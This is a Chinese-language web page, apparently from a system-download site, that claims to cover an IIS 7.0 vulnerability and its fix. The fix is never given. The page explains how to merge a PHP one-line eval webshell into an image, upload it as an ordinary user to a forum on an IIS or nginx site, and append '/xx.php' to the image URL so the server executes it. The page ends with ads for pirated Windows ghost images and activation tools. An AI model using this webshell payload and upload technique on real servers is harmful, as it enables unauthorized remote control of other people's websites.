当前位置：首页>网络安全 > IIS 7.0 网站漏洞利用及修复方法

IIS 7.0 网站漏洞利用及修复方法

来源：番茄系统家园浏览：时间：2021-12-20 09:00:51

以目前流行的PHP为例：

先合并一张PHP一句话图片马，合并方法：
①、DOS合并：copy 1.gif /b + 1.txt/a php.gif
②、用edjpgcom，进行图片和一句话木马的合并，一句话代码为<?php eval($_POST[meckun]);?>

图片随便找一张.
【顺带着说一下edjpgcom的使用方法：打开edjpgcom.exe所在文件夹，然后把你所要修改的图片拖动到edjpgcom.exe上面，然后edjpgcom.exe会自动打开，写入想要些的代码即可。
一句话:
<?php eval($_POST[meckun]);?>

然后找个nginx的站,先注册一个用户然后在论坛上传一张我们刚刚合并的图片一句话马。
找到图片地址,然后在地址后面加个xx.php，在浏览器中运行。
比如假设图片地址为www.meckun.cn/upload/1.jpg
则执行地址为www.meckun.cn/upload/1.jpg/xx.php
然后,会在目录下生成xx.php。比如:www.meckun.cn/upload/x.php
x.php就是我们的一句话地址。再拿一句话的客户端连接这个一句话地址就好。

找到某个使用IIS7.0架设的站，然后找到其中的图片上传点（不需要管理权限，普通注册用户即可搞定），把PHP大马后缀改成.jpg，传上去，得到图片地址。

在图片格式后面添加xx.php
注：xx随便你怎么填。只要后缀为.php就好

推荐系统

雨林木风 winxp下载纯净版永久激活 winxp ghost系统 sp3 系统下载
64位
系统大小：0MB系统类型：WinXP
雨林木风在系统方面技术积累雄厚深耕多年，打造了国内重装系统行业知名品牌，雨林木风WindowsXP其系统口碑得到许多人认可，积累了广大的用户群体，是一款稳定流畅的系统，雨林木风 winxp下载纯净版永久激活 winxp ghost系统 sp3 系统下载，有需要的朋友速度下载吧。
系统等级：
进入下载 >
萝卜家园win7纯净版 ghost系统下载 x64 联想电脑专用
64位
系统大小：0MB系统类型：Win7
萝卜家园win7纯净版是款非常纯净的win7系统，此版本优化更新了大量的驱动，帮助用户们进行舒适的使用，更加的适合家庭办公的使用，方便用户，有需要的用户们快来下载安装吧。
系统等级：
进入下载 >
雨林木风xp系统 xp系统纯净版 winXP ghost xp sp3 纯净版系统下载
64位
系统大小：1.01GB系统类型：WinXP
雨林木风xp系统 xp系统纯净版 winXP ghost xp sp3 纯净版系统下载，雨林木风WinXP系统技术积累雄厚深耕多年，采用了新的系统功能和硬件驱动，可以更好的发挥系统的性能，优化了系统、驱动对硬件的加速，加固了系统安全策略，运行环境安全可靠稳定。
系统等级：
进入下载 >
萝卜家园win10企业版免激活密钥激活工具 V2023 X64位系统下载
64位
系统大小：0MB系统类型：Win10
萝卜家园在系统方面技术积累雄厚深耕多年，打造了国内重装系统行业的萝卜家园品牌，(win10企业版,win10 ghost,win10镜像),萝卜家园win10企业版免激活密钥激活工具 ghost镜像 X64位系统下载,其系统口碑得到许多人认可，积累了广大的用户群体，萝卜家园win10纯净版是一款稳定流畅的系统,一直以来都以用户为中心，是由萝卜家园win10团队推出的萝卜家园
系统等级：
进入下载 >
萝卜家园windows10游戏版 win10游戏专业版 V2023 X64位系统下载
64位
系统大小：0MB系统类型：Win10
萝卜家园windows10游戏版 win10游戏专业版 ghost X64位系统下载，萝卜家园在系统方面技术积累雄厚深耕多年，打造了国内重装系统行业的萝卜家园品牌，其系统口碑得到许多人认可，积累了广大的用户群体，萝卜家园win10纯净版是一款稳定流畅的系统,一直以来都以用户为中心，是由萝卜家园win10团队推出的萝卜家园win10国内镜像版，基于国内用户的习惯，做
系统等级：
进入下载 >
windows11下载萝卜家园win11专业版 X64位 V2023官网下载
64位
系统大小：0MB系统类型：Win11
萝卜家园在系统方面技术积累雄厚深耕多年，windows11下载萝卜家园win11专业版 X64位官网正式版可以更好的发挥系统的性能，优化了系统、驱动对硬件的加速，使得软件在WINDOWS11系统中运行得更加流畅，加固了系统安全策略，WINDOWS11系统在家用办公上跑分表现都是非常优秀，完美的兼容各种硬件和软件，运行环境安全可靠稳定。
系统等级：
进入下载 >